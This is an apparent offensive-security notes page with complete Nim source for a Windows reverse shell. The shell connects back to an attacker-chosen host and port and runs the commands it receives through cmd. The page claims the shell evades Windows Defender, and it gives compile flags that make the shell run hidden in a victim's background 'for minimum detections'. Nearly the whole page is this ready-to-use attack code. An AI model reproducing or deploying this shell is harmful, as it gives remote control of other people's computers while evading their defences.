Creating Robust Reverse Shells¶
Nim Reverse Shell¶
This nim reverse shell is a simple reverse shell written in nim, which bypasses Windows Defender.
#[
Created by Sn1r
https://github.com/Sn1r/
]#
import net, os, osproc, strutils
proc exe(c: string): string =
result = execProcess("cm" & "d /c " & c)
var
v = newSocket()
# Change this
v1 = "192.168.1.1"
v2 = "8080"
s4 = "Exiting.."
s5 = "cd"
s6 = "C:\\"
try:
v.connect(v1, Port(parseInt(v2)))
while true:
v.send(os.getCurrentDir() & "> ")
let c = v.recvLine()
if c == "exit":
v.send(s4)
break
if c.strip() == s5:
os.setCurrentDir(s6)
elif c.strip().startswith(s5):
let d = c.strip().split(' ')[1]
try:
os.setCurrentDir(d)
except OSError as b:
v.send(repr(b) & "\n")
continue
else:
let r = exe(c)
v.send(r)
except:
raise
finally:
v.close
Compilation¶
The code can be compiled in various ways using Nim. In this example, the code is compiled to EXE using MinGW and runs in the victim's background once executed (thanks to the "--app:gui" flag). I strongly recommend to follow the below example for minimum detections as possible.
nim c -d:mingw --app:gui rev_shell.nim